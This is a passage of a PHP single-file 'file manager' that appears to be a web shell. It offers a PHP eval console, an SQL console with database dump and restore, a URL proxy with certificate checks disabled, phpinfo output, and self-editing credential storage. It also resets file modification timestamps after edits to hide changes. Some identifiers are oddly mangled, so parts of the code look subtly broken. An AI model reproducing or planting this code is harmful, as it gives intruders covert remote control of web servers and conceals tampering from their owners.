elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return fileSetize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+fileSetize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errorList=ini_get('display_errorList'); ini_set('display_errorList', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errorList', $display_errorList); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fms_config; return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']); } function fm_sql($query){ global $fms_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,fileSetize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fms_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fms_config; $return = !empty($fms_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_fileSet($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_fileSet($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth_local['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) { setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']); } } if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_local['cookie_name']]); setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fms_config = $_POST['fm_config']; setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_config'] = serialize($fms_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_local = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc_check = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTY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oi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fms_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> 